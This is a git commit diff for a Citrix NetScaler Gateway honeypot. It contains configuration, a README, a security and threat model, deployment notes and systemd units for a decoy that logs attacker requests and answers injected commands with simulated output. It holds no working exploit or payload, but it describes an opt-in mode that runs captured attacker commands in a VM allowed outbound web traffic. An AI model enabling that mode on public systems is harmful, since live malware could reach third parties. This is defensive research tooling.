CitrixPot: NetScaler / Citrix ADC Gateway honeypot (initial public release)
This commit is contained in:
commit
4491b42714
54 files changed
+4532
No files matched your search
@@ -0,0 +1,31 @@
|
|||||||
|
# Copy to .env (git-ignored) or set the same names in the systemd EnvironmentFile
|
||||||
|
# (/etc/decoy.env). Never commit real addresses, keys or credentials.
|
||||||
|
|
||||||
|
# --- Decoy listener (honeypot.py) ---
|
||||||
|
HONEYPOT_BIND=0.0.0.0
|
||||||
|
HONEYPOT_PORT=8443
|
||||||
|
# Exact transport IP allowed to speak PROXY v1 (your source-preserving ingress). Empty disables.
|
||||||
|
HONEYPOT_PROXY_PROTOCOL_FROM=
|
||||||
|
# Comma-separated CIDRs whose CF-Connecting-IP / X-Forwarded-For may be trusted
|
||||||
|
# (edge proxy and reverse-proxy hops only). Empty trusts no forwarded headers.
|
||||||
|
HONEYPOT_TRUSTED_FORWARDED_FROM=
|
||||||
|
HONEYPOT_LOG_DIR=/var/lib/decoy/http
|
||||||
|
HONEYPOT_EVIDENCE_MIB=30720
|
||||||
|
|
||||||
|
# --- Source-preserving ingress (ingress_proxy.py) ---
|
||||||
|
INGRESS_BIND=127.0.0.1
|
||||||
|
INGRESS_PORT=18443
|
||||||
|
INGRESS_TARGET=127.0.0.1
|
||||||
|
INGRESS_TARGET_PORT=19443
|
||||||
|
# CIDRs allowed to open the origin. Empty = any (not recommended for public use).
|
||||||
|
INGRESS_ALLOW_FROM=
|
||||||
|
|
||||||
|
# --- Local read-only evidence viewer (viewer.py) ---
|
||||||
|
VIEWER_BIND=127.0.0.1
|
||||||
|
VIEWER_PORT=8787
|
||||||
|
VIEWER_LOG_DIR=/var/lib/decoy/http
|
||||||
|
# Extra client IPs to hide (the host's public IP is auto-detected). Comma-separated.
|
||||||
|
VIEWER_HIDE_IP=
|
||||||
|
|
||||||
|
# --- VM execution backend (optional, isolated guest only) ---
|
||||||
|
DECOY_VM_CONFIG=/etc/decoy-vm.json
|
||||||
+29
@@ -0,0 +1,29 @@
|
|||||||
|
# Secrets and local config
|
||||||
|
.env
|
||||||
|
.env.*
|
||||||
|
!.env.example
|
||||||
|
*.pem
|
||||||
|
*.key
|
||||||
|
*.crt
|
||||||
|
known_hosts
|
||||||
|
deploy/known_hosts
|
||||||
|
deploy/*.local
|
||||||
|
|
||||||
|
# Evidence and runtime data (never publish)
|
||||||
|
logs/
|
||||||
|
*/logs/
|
||||||
|
artifacts/
|
||||||
|
*.bin
|
||||||
|
*.jsonl
|
||||||
|
*.pcap
|
||||||
|
|
||||||
|
# Python
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
|
|
||||||
|
# OS / editor
|
||||||
|
.DS_Store
|
||||||
|
Thumbs.db
|
||||||
|
*.swp
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2026 CitrixPot contributors
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
@@ -0,0 +1,152 @@
|
|||||||
|
# CitrixPot — NetScaler / Citrix ADC Gateway honeypot (CVE-2019-19781, CVE-2026-88771, CVE-2026-88772)
|
||||||
|
|
||||||
|
A self-hosted, dependency-free **Citrix NetScaler / Citrix ADC / Citrix Gateway honeypot** for
|
||||||
|
defensive **threat intelligence**. It impersonates the NetScaler Gateway login and the
|
||||||
|
documented log-poisoning command-injection path, records everything attackers send, and — in
|
||||||
|
simulation mode — **never executes attacker commands**. It is a decoy for catching Citrix
|
||||||
|
exploit attempts, not a real appliance and not a vulnerability scanner.
|
||||||
|
|
||||||
|
> **Keywords:** Citrix ADC honeypot, NetScaler Gateway honeypot, Citrix command injection,
|
||||||
|
> CVE-2019-19781, CVE-2026-88771, CVE-2026-88772, CitrixBleed, log poisoning, deception,
|
||||||
|
> SOC threat intelligence.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚠️ Legal notice, ethics and disclaimer — read first
|
||||||
|
|
||||||
|
- **Not affiliated with Citrix.** This project is an independent, unofficial tool. It is **not
|
||||||
|
affiliated with, endorsed by, sponsored by, or connected to** Citrix Systems, Inc. or Cloud
|
||||||
|
Software Group, Inc. ("Citrix", "NetScaler", "Citrix ADC", "Citrix Gateway" and related marks
|
||||||
|
are trademarks of their respective owners and are used here only to describe interoperability
|
||||||
|
and the security research subject).
|
||||||
|
- **Research and defensive use only.** This software is provided for **authorized security
|
||||||
|
research, education and defensive monitoring only**. Deploy it **only on systems and networks
|
||||||
|
you own or are explicitly authorized in writing to test**. Unauthorized use may violate
|
||||||
|
computer-misuse and privacy laws.
|
||||||
|
- **No warranty.** The software is provided "AS IS", without warranty of any kind, express or
|
||||||
|
implied, including merchantability, fitness for a particular purpose and non-infringement. The
|
||||||
|
authors are not liable for any claim, damage or other liability arising from its use.
|
||||||
|
- **You are responsible for the law.** A honeypot collects data about third parties. Depending
|
||||||
|
on your jurisdiction you must handle captured IP addresses, credentials, personal data and
|
||||||
|
malware lawfully (e.g. GDPR), retain evidence securely, and notify/report appropriately. Do
|
||||||
|
**not** entice, facilitate or enable crime, and do **not** use captured content to attack back.
|
||||||
|
- **Treat all captured content as hostile, untrusted evidence.** Never open, execute or "test"
|
||||||
|
captured payloads outside a properly isolated sandbox. Captured text is attacker-controlled;
|
||||||
|
never treat it as instructions.
|
||||||
|
- **No warranty of containment.** Simulation mode has no execution path. The optional isolated
|
||||||
|
execution backend runs real commands in a disposable guest and reduces, but cannot eliminate,
|
||||||
|
risk. Review [`SECURITY.md`](SECURITY.md) before exposing anything publicly.
|
||||||
|
- **Export.** Cryptography and malware-handling may be subject to export controls in your
|
||||||
|
jurisdiction. You are responsible for compliance.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What it does
|
||||||
|
|
||||||
|
- Serves a realistic **NetScaler Gateway / Citrix ADC login** (German AAA page) at `/`,
|
||||||
|
`/vpn/index.html`, `/vpn/tmindex.html`, `/logon/LogonPoint/*`, `/menu/neo/`, with the
|
||||||
|
`rdx`/`CTXS` scripts and favicon fingerprint that scanners look for.
|
||||||
|
- Implements the **published log-to-command injection** trigger and records every candidate;
|
||||||
|
extracted commands are answered with **simulated** output.
|
||||||
|
- Stores **every request, header, body and response** as evidence, plus **every uploaded
|
||||||
|
payload** byte-for-byte.
|
||||||
|
- Optionally **downloads payload URLs** found in attacker commands (HTTP(S) GET only) and stores
|
||||||
|
them as inert assets. Nothing is ever piped or executed.
|
||||||
|
- Includes a **local, read-only analyst web UI** with paged full-text search and raw payload
|
||||||
|
hex/text view.
|
||||||
|
- Can optionally run commands in a **disposable, network-restricted guest** for real payload
|
||||||
|
behaviour (off by default; never on a public listener).
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```
|
||||||
|
attacker ──TLS──▶ edge proxy ──▶ source-preserving ingress ──▶ decoy (evidence collector)
|
||||||
|
(terminates TLS) (PROXY v1, real client IP) │
|
||||||
|
├─ events.jsonl (schema v2)
|
||||||
|
├─ artifacts/<sha256>.bin (0600)
|
||||||
|
└─ local viewer (loopback only)
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Edge-aware client IP:** forwarded headers (`CF-Connecting-IP`, `True-Client-IP`, `X-Real-IP`,
|
||||||
|
nearest `X-Forwarded-For`) are trusted **only** from configured hops, so you record the real
|
||||||
|
attacker IP, not the proxy's.
|
||||||
|
- **Fail-closed:** at the evidence quota or on disk failure the decoy stops rather than
|
||||||
|
overwriting evidence.
|
||||||
|
|
||||||
|
## Quickstart (simulator — safe to expose)
|
||||||
|
|
||||||
|
Requires only Python 3.10+ (standard library); no third-party packages.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
git clone <your-fork-url> citrixpot && cd citrixpot
|
||||||
|
cp .env.example .env # edit to taste
|
||||||
|
python3 test_honeypot.py # run the test suite
|
||||||
|
set -a; . ./.env; set +a
|
||||||
|
python3 honeypot.py & # decoy on http://127.0.0.1:8443
|
||||||
|
python3 viewer.py # analyst UI on http://127.0.0.1:8787
|
||||||
|
```
|
||||||
|
|
||||||
|
No commands are executed in this mode; commands are parsed, logged and answered with canned
|
||||||
|
output, and uploads are stored as inert artifacts.
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
All settings come from the environment (or a `.env` file / systemd `EnvironmentFile`). See
|
||||||
|
[`.env.example`](.env.example). Key variables:
|
||||||
|
|
||||||
|
| Variable | Purpose |
|
||||||
|
|---|---|
|
||||||
|
| `HONEYPOT_BIND`, `HONEYPOT_PORT` | decoy listen address/port |
|
||||||
|
| `HONEYPOT_PROXY_PROTOCOL_FROM` | transport IP allowed to send PROXY v1 (your ingress) |
|
||||||
|
| `HONEYPOT_TRUSTED_FORWARDED_FROM` | edge/proxy hops whose client-IP headers may be trusted |
|
||||||
|
| `HONEYPOT_LOG_DIR`, `HONEYPOT_EVIDENCE_MIB` | evidence directory and quota |
|
||||||
|
| `INGRESS_BIND`, `INGRESS_PORT`, `INGRESS_ALLOW_FROM` | source-preserving ingress and allowlist |
|
||||||
|
| `VIEWER_BIND`, `VIEWER_PORT`, `VIEWER_HIDE_IP` | local analyst UI and hidden operator IPs |
|
||||||
|
|
||||||
|
## Evidence and analyst UI
|
||||||
|
|
||||||
|
- `events.jsonl` — append-only JSONL journal (`schema_version: 2`) with UTC timestamps, request/
|
||||||
|
session IDs, socket source IP/port, durations and status.
|
||||||
|
- `artifacts/<sha256>.bin` — exact payload bytes, deduplicated, `0600` in a `0700` directory.
|
||||||
|
- Event types include `request`, `request_body`, `response*`, `upload*`, `form_fields`,
|
||||||
|
`injection_candidate`, `simulated_command`/`unsupported`, `outbound_attempt`,
|
||||||
|
`exploit_attempt` (labelled `CVE-2019-19781`, `path-traversal`, `config-read`,
|
||||||
|
`management-probe`), `auth_attempt`, `brute_force_suspected` and `payload_download`.
|
||||||
|
|
||||||
|
The viewer is **read-only and loopback-only** by default; reach it over an SSH tunnel. It filters
|
||||||
|
out your own public IP automatically (refreshed every 30 minutes) so operator traffic stays out
|
||||||
|
of the analysis.
|
||||||
|
|
||||||
|
## Optional: isolated execution mode
|
||||||
|
|
||||||
|
For real payload behaviour, an opt-in backend runs commands in a **disposable, network-restricted
|
||||||
|
guest**. It requires **both** `--vm-config <file>` and `--allow-real-execution`, and must never be
|
||||||
|
enabled on an internet-facing listener. See [`SECURITY.md`](SECURITY.md) and
|
||||||
|
[`deploy/`](deploy/).
|
||||||
|
|
||||||
|
## Public deployment
|
||||||
|
|
||||||
|
1. Terminate TLS at an edge proxy (for example Cloudflare in front of Nginx Proxy Manager).
|
||||||
|
2. Forward to the source-preserving ingress and set `INGRESS_ALLOW_FROM` and
|
||||||
|
`HONEYPOT_TRUSTED_FORWARDED_FROM` to your edge hop(s) so the real client IP is captured.
|
||||||
|
3. Firewall the origin port so only the edge proxy and host can reach it.
|
||||||
|
4. Keep simulation mode on; monitor the evidence quota.
|
||||||
|
|
||||||
|
See [`deploy/VM-ACCESS.md`](deploy/VM-ACCESS.md) for a deployment template.
|
||||||
|
|
||||||
|
## Tests
|
||||||
|
|
||||||
|
```sh
|
||||||
|
python3 test_honeypot.py python3 test_capture.py python3 test_safety.py
|
||||||
|
python3 test_payload_fetch.py test_client_ip.py test_viewer.py test_auth_logging.py
|
||||||
|
python3 test_ingress_proxy.py test_network_capture.py test_reset.py test_vm_backend.py
|
||||||
|
```
|
||||||
|
|
||||||
|
## Acknowledgements
|
||||||
|
|
||||||
|
Informed by public analysis of the Citrix NetScaler log-poisoning command injection; see the
|
||||||
|
watchTowr write-up referenced in the community discussion of the 2026 NetScaler issue.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
MIT — see [`LICENSE`](LICENSE). Trademarks belong to their respective owners.
|
||||||
+122
@@ -0,0 +1,122 @@
|
|||||||
|
# Security model and threat model
|
||||||
|
|
||||||
|
This is a deliberately attacked system. Everything here is designed so that an
|
||||||
|
attacker who "exploits" the decoy can **upload files, run commands and receive
|
||||||
|
plausible output without doing anything real** to the collector or the host.
|
||||||
|
|
||||||
|
## Two execution modes
|
||||||
|
|
||||||
|
| Mode | Default | What happens to attacker commands |
|
||||||
|
|------|---------|-----------------------------------|
|
||||||
|
| `simulation` | yes | Parsed, logged and answered with canned output. **Never executed. No shell, no syscalls, no sockets.** |
|
||||||
|
| `disposable_vm` | no | Real `bash` runs inside disposable VM223. Requires both `--vm-config` and `--allow-real-execution`. |
|
||||||
|
|
||||||
|
The simulator is pure Python dict manipulation (`simulate()`); it has no path to
|
||||||
|
`os.system`, `subprocess`, `eval` or a real filesystem path. Uploaded bodies are
|
||||||
|
stored as inert `0600` content-addressed blobs. This is the safe mode for an
|
||||||
|
internet-facing listener and is what `deploy/decoy.service` runs.
|
||||||
|
|
||||||
|
The VM mode exists for private labs that want to observe real payload behaviour.
|
||||||
|
It must **not** be enabled on a public listener. The two-flag gate above makes
|
||||||
|
accidental activation impossible, and the process logs a loud warning plus
|
||||||
|
`real_execution: true` in the start event.
|
||||||
|
|
||||||
|
## Isolation of the disposable execution guest (VM223)
|
||||||
|
|
||||||
|
- QEMU user networking with `restrict=on`; **no bridge NIC**, so the guest
|
||||||
|
cannot reach the LAN, the management network or the internet directly.
|
||||||
|
- **No host mounts, no shared folders, no 9p, no virtiofs, no SPICE.** The only
|
||||||
|
block device is the guest's own discardable disk.
|
||||||
|
- Guest TCP is redirected (iptables `REDIRECT`) to a local relay that speaks only
|
||||||
|
to the outside recording broker. A separate guestfwd path reaches the broker;
|
||||||
|
the broker is the sole policy point for every outbound connection.
|
||||||
|
- The broker allows public IPv4 `80/443` unconditionally and other ports only to
|
||||||
|
recently observed attacker peers. Private, loopback, metadata and LAN
|
||||||
|
destinations are denied. DNS returns public A records only.
|
||||||
|
- The guest is reset every hour: disk is archived to a validated qcow2 and
|
||||||
|
rolled back to `decoy-clean`; unflushed RAM is discarded.
|
||||||
|
- A host watchdog stops VM223 on pcap quota, disk/thin-pool reserve, collector
|
||||||
|
service failure or a STOP latch. STOP is never auto-cleared.
|
||||||
|
- Collector→guest SSH uses a dedicated key whose `authorized_keys` entry is
|
||||||
|
restricted with `no-agent-forwarding,no-port-forwarding,no-X11-forwarding`.
|
||||||
|
- Packet capture lives on the host (`execution.pcap`, 512-byte prefixes), so it
|
||||||
|
survives guest tampering.
|
||||||
|
|
||||||
|
Residual risk in VM mode is a QEMU/KVM or guest-kernel escape. Keep the
|
||||||
|
hypervisor patched, never enable VM mode on a public listener, and treat the
|
||||||
|
guest disk and pcap as untrusted binary evidence.
|
||||||
|
|
||||||
|
## Collector isolation
|
||||||
|
|
||||||
|
`decoy.service` runs under systemd with `ProtectSystem=strict`,
|
||||||
|
`NoNewPrivileges`, `PrivateTmp`, `RestrictAddressFamilies`, `MemoryMax` and
|
||||||
|
`TasksMax`, writing only under `/var/lib/decoy` (root-only, `0700`). The ingress
|
||||||
|
proxy runs as a `DynamicUser` with no capabilities. The local viewer is
|
||||||
|
loopback-only and read-only.
|
||||||
|
|
||||||
|
## Real client IP behind the edge
|
||||||
|
|
||||||
|
The decoy never trusts attacker-supplied `X-Forwarded-For`. Forwarded client
|
||||||
|
headers (`CF-Connecting-IP`, `True-Client-IP`, `X-Real-IP`, then the nearest
|
||||||
|
`X-Forwarded-For` hop) are honoured **only** when the connecting hop is inside a
|
||||||
|
configured trusted network (`--trusted-forwarded-from`, e.g. Cloudflare's
|
||||||
|
published ranges plus loopback). The real client IP is recorded as `peer`; the
|
||||||
|
proxy hop is retained separately as `proxy_peer`. Spoofed private/reserved
|
||||||
|
addresses are rejected.
|
||||||
|
|
||||||
|
## Logging guarantee (capture everything)
|
||||||
|
|
||||||
|
Every request is journaled in full and its bytes are stored, so nothing depends on
|
||||||
|
the decoy recognising it:
|
||||||
|
|
||||||
|
- `request` records method, raw URI and every raw header (including `User-Agent`).
|
||||||
|
- `request_body` stores the exact raw body bytes as a content-addressed artifact for
|
||||||
|
every request; multipart parts become `upload` events, other bodies
|
||||||
|
`upload_or_raw_payload`, form posts `form_fields`. Filenames are metadata only.
|
||||||
|
- `response` / `response_sent` store the bytes returned.
|
||||||
|
- `request_end` stores the exact HTTP bytes the parser consumed, even for malformed,
|
||||||
|
partial or rejected requests.
|
||||||
|
- Log-poisoning candidates become `injection_candidate`; each extracted command is
|
||||||
|
then `simulated_command`/`unsupported` (with argv, cwd and output) or, in VM mode,
|
||||||
|
`execution_*` plus `guest_stdout`/`guest_syscalls_stderr`/`guest_file_*`.
|
||||||
|
- Known Citrix exploit indicators are additionally labelled `exploit_attempt`
|
||||||
|
(`CVE-2019-19781`, `path-traversal`, `config-read`, `management-probe`). This is a
|
||||||
|
convenience label on top of the full capture, not a filter — unflagged requests
|
||||||
|
are still stored.
|
||||||
|
|
||||||
|
Uploaded payloads are inert evidence on the collector and are never executed there.
|
||||||
|
|
||||||
|
## Evidence
|
||||||
|
|
||||||
|
The append-only JSONL journal and content-addressed blobs are `0600` under a
|
||||||
|
`0700` directory. The service fails closed and exits non-zero when the evidence
|
||||||
|
quota or disk fails, rather than dropping or overwriting records. Uploaded files
|
||||||
|
are never executed by the collector and are never copied into a guest.
|
||||||
|
|
||||||
|
## Reporting boundary
|
||||||
|
|
||||||
|
No reporting UI is served on the attacker listener. The evidence viewer is a
|
||||||
|
separate loopback-only process reached over SSH port-forwarding. Do not add
|
||||||
|
reporting routes to the decoy listener.
|
||||||
|
|
||||||
|
## Public exposure checklist
|
||||||
|
|
||||||
|
1. Keep the listener in `simulation` mode.
|
||||||
|
2. Put an edge proxy (Cloudflare) in front; pass the original client IP via
|
||||||
|
`CF-Connecting-IP` and configure `--trusted-forwarded-from` with the edge
|
||||||
|
ranges (`deploy/cloudflare-ips.txt`).
|
||||||
|
3. Origin must only accept traffic from the edge; do not expose the origin
|
||||||
|
directly.
|
||||||
|
4. Terminate TLS at the edge so the decoy sees HTTP and can read headers.
|
||||||
|
5. Keep the STOP latch and watchdog enabled; archive evidence before clearing it.
|
||||||
|
|
||||||
|
## Audit notes (2026-09-28)
|
||||||
|
|
||||||
|
- Verified the simulator contains no command-execution path.
|
||||||
|
- Found the deployed collector running `--vm-config` (real execution). Hardened:
|
||||||
|
`--vm-config` now also requires `--allow-real-execution`; the deployed unit was
|
||||||
|
switched to simulation-only; a loud startup warning is emitted in VM mode.
|
||||||
|
- Verified VM223 has no host mounts, no bridge, `restrict=on`, and a locked-down
|
||||||
|
management key.
|
||||||
|
- Added trusted-edge client-IP extraction with spoof rejection.
|
||||||
|
- Added the loopback-only read-only viewer and its hardened systemd unit.
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
# Deployment notes (template)
|
||||||
|
|
||||||
|
Replace every `<...>` placeholder with your own values. Keep real addresses and keys out of
|
||||||
|
the repository; put them in `/etc/decoy.env` (see `.env.example`) or your own secret store.
|
||||||
|
|
||||||
|
## Topology
|
||||||
|
|
||||||
|
- Proxmox host: `<PROXMOX_HOST>` (management network, not public).
|
||||||
|
- Collector VM: stores evidence and serves the decoy. QEMU user networking only, no bridge NIC.
|
||||||
|
- Execution VM (optional): disposable, isolated guest for real payload behaviour. Requires
|
||||||
|
`restrict=on`, no bridge NIC, no host mounts, and must never be enabled on a public listener.
|
||||||
|
- Edge proxy (e.g. Nginx Proxy Manager on `<EDGE_PROXY_IP>`): terminates TLS and forwards to a
|
||||||
|
source-preserving ingress on the Proxmox host.
|
||||||
|
|
||||||
|
## Source-preserving ingress
|
||||||
|
|
||||||
|
`ingress_proxy.py` accepts a TCP connection and prepends a PROXY-v1 header (the real client
|
||||||
|
address) before the decoy reads any bytes. Restrict who may reach it:
|
||||||
|
|
||||||
|
```
|
||||||
|
INGRESS_BIND=<PROXMOX_HOST>
|
||||||
|
INGRESS_PORT=18443
|
||||||
|
INGRESS_TARGET=127.0.0.1
|
||||||
|
INGRESS_TARGET_PORT=19443
|
||||||
|
INGRESS_ALLOW_FROM=<EDGE_PROXY_IP>,127.0.0.1,<PROXMOX_HOST>
|
||||||
|
```
|
||||||
|
|
||||||
|
At the decoy, trust only the edge hop for client-IP headers:
|
||||||
|
|
||||||
|
```
|
||||||
|
HONEYPOT_PROXY_PROTOCOL_FROM=<QEMU_GATEWAY> # e.g. 10.0.2.2 for QEMU user networking
|
||||||
|
HONEYPOT_TRUSTED_FORWARDED_FROM=<EDGE_PROXY_IP>,127.0.0.1
|
||||||
|
```
|
||||||
|
|
||||||
|
Add a host firewall rule so only the edge proxy and the host itself can reach the origin port.
|
||||||
|
Example (adapt to your firewall tooling):
|
||||||
|
|
||||||
|
```
|
||||||
|
iptables -N DECOY-ORIGIN
|
||||||
|
iptables -A DECOY-ORIGIN -i lo -j RETURN
|
||||||
|
iptables -A DECOY-ORIGIN -s <EDGE_PROXY_IP> -j RETURN
|
||||||
|
iptables -A DECOY-ORIGIN -s <PROXMOX_HOST> -j RETURN
|
||||||
|
iptables -A DECOY-ORIGIN -j DROP
|
||||||
|
iptables -I INPUT 1 -p tcp --dport 18443 -j DECOY-ORIGIN
|
||||||
|
```
|
||||||
|
|
||||||
|
## Management access
|
||||||
|
|
||||||
|
Use your own SSH keys and a jump host. Do not enable agent/X11/port forwarding on the
|
||||||
|
management key (`no-agent-forwarding,no-port-forwarding,no-X11-forwarding`).
|
||||||
|
|
||||||
|
## Operational notes
|
||||||
|
|
||||||
|
- QEMU `filter-dump` truncates its pcap on guest start; archive it before restarting the
|
||||||
|
execution VM.
|
||||||
|
- The decoy is fail-closed: when the evidence quota or disk fails it stops rather than
|
||||||
|
overwriting. Archive evidence before restarting.
|
||||||
|
- Never enable real command execution on an internet-facing listener.
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
# Cloudflare published edge ranges (https://www.cloudflare.com/ips). Refresh periodically.
|
||||||
|
# Only hops inside these networks may set CF-Connecting-IP / X-Forwarded-For for the decoy.
|
||||||
|
173.245.48.0/20
|
||||||
|
103.21.244.0/22
|
||||||
|
103.22.200.0/22
|
||||||
|
103.31.4.0/22
|
||||||
|
141.101.64.0/18
|
||||||
|
108.162.192.0/18
|
||||||
|
190.93.240.0/20
|
||||||
|
188.114.96.0/20
|
||||||
|
197.234.240.0/22
|
||||||
|
198.41.128.0/17
|
||||||
|
162.158.0.0/15
|
||||||
|
104.16.0.0/13
|
||||||
|
104.24.0.0/14
|
||||||
|
172.64.0.0/13
|
||||||
|
131.0.72.0/22
|
||||||
|
2400:cb00::/32
|
||||||
|
2606:4700::/32
|
||||||
|
2803:f800::/32
|
||||||
|
2405:b500::/32
|
||||||
|
2405:8100::/32
|
||||||
|
2a06:98c0::/29
|
||||||
|
2c0f:f248::/32
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
# Hourly disposable VM223 reset. Evidence is archived, never automatically pruned.
|
||||||
|
# Stop intake/VM and require operator review when archive budget/reserve is reached.
|
||||||
|
SHELL=/bin/sh
|
||||||
|
PATH=/usr/sbin:/usr/bin:/sbin:/bin
|
||||||
|
0 * * * * root /usr/bin/python3 /opt/decoy-ingress/reset-execution.py --run >> /var/lib/vz/honeypot/reset-cron.log 2>&1
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
[Unit]
|
||||||
|
Description=Redirect disposable guest TCP to recording relay
|
||||||
|
After=network-online.target
|
||||||
|
Before=decoy-relay.service
|
||||||
|
[Service]
|
||||||
|
Type=oneshot
|
||||||
|
ExecStart=/bin/sh /opt/decoy/guest-network.sh
|
||||||
|
RemainAfterExit=true
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
[Unit]
|
||||||
|
Description=Source-preserving ingress for the NetScaler decoy
|
||||||
|
After=network-online.target
|
||||||
|
[Service]
|
||||||
|
EnvironmentFile=/etc/decoy.env
|
||||||
|
DynamicUser=yes
|
||||||
|
# --allow-from limits who may reach the origin to the edge proxy and trusted hops (see .env).
|
||||||
|
ExecStart=/usr/bin/python3 /opt/decoy-ingress/ingress_proxy.py --bind=${INGRESS_BIND} --port=${INGRESS_PORT} --target=${INGRESS_TARGET} --target-port=${INGRESS_TARGET_PORT} --allow-from=${INGRESS_ALLOW_FROM}
|
||||||
|
Restart=on-failure
|
||||||
|
NoNewPrivileges=true
|
||||||
|
PrivateTmp=true
|
||||||
|
ProtectSystem=strict
|
||||||
|
ProtectHome=true
|
||||||
|
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
|
||||||
|
MemoryMax=128M
|
||||||
|
TasksMax=32
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
[Unit]
|
||||||
|
Description=External recording and policy relay for disposable execution VM
|
||||||
|
After=network-online.target
|
||||||
|
[Service]
|
||||||
|
ExecStart=/usr/bin/python3 /opt/decoy/network_capture.py --role broker --quota-mib 2048 --listen 0.0.0.0 --port 19090 --evidence /var/lib/decoy/network --peers /var/lib/decoy/allowed-peers.json
|
||||||
|
WorkingDirectory=/opt/decoy
|
||||||
|
UMask=0077
|
||||||
|
Restart=no
|
||||||
|
NoNewPrivileges=true
|
||||||
|
PrivateTmp=true
|
||||||
|
ProtectSystem=strict
|
||||||
|
ReadWritePaths=/var/lib/decoy
|
||||||
|
ProtectHome=true
|
||||||
|
ProtectKernelTunables=true
|
||||||
|
ProtectKernelModules=true
|
||||||
|
ProtectControlGroups=true
|
||||||
|
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
|
||||||
|
MemoryMax=384M
|
||||||
|
TasksMax=128
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
[Unit]
|
||||||
|
Description=Disposable guest transparent TCP and DNS relay
|
||||||
|
After=network-online.target
|
||||||
|
[Service]
|
||||||
|
User=decoy-relay
|
||||||
|
ExecStart=/usr/bin/python3 /opt/decoy/network_capture.py --role relay --listen 127.0.0.1 --port 15001 --broker 10.0.2.100 --broker-port 19090 --dns-port 53
|
||||||
|
Restart=on-failure
|
||||||
|
AmbientCapabilities=CAP_NET_BIND_SERVICE
|
||||||
|
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
|
||||||
|
NoNewPrivileges=true
|
||||||
|
PrivateTmp=true
|
||||||
|
ProtectSystem=strict
|
||||||
|
ProtectHome=true
|
||||||
|
RestrictAddressFamilies=AF_INET AF_UNIX
|
||||||
|
MemoryMax=256M
|
||||||
|
TasksMax=128
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
[Unit]
|
||||||
|
Description=Local read-only honeypot evidence viewer (loopback only)
|
||||||
|
After=network-online.target
|
||||||
|
[Service]
|
||||||
|
EnvironmentFile=/etc/decoy.env
|
||||||
|
ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR} --hide-ip=${VIEWER_HIDE_IP}
|
||||||
|
WorkingDirectory=/opt/decoy
|
||||||
|
UMask=0077
|
||||||
|
NoNewPrivileges=true
|
||||||
|
PrivateTmp=true
|
||||||
|
ProtectSystem=strict
|
||||||
|
ProtectHome=true
|
||||||
|
ReadOnlyPaths=/var/lib/decoy
|
||||||
|
RestrictAddressFamilies=AF_INET
|
||||||
|
MemoryMax=256M
|
||||||
|
TasksMax=32
|
||||||
|
Restart=no
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
[Unit]
|
||||||
|
Description=Stop disposable execution VM on capture failure or quota
|
||||||
|
After=pve-guests.service
|
||||||
|
[Service]
|
||||||
|
ExecStart=/usr/bin/python3 /opt/decoy-ingress/watchdog.py
|
||||||
|
Restart=always
|
||||||
|
RestartSec=2
|
||||||
|
UMask=0077
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
[Unit]
|
||||||
|
Description=NetScaler decoy HTTP and evidence collector
|
||||||
|
After=network-online.target decoy-network.service
|
||||||
|
Requires=decoy-network.service
|
||||||
|
[Service]
|
||||||
|
EnvironmentFile=/etc/decoy.env
|
||||||
|
# Simulation only: attacker commands are parsed, stored and answered, never executed.
|
||||||
|
# Real execution additionally requires --vm-config + --allow-real-execution and an isolated guest;
|
||||||
|
# never enable it on an internet-facing listener. All values come from /etc/decoy.env.
|
||||||
|
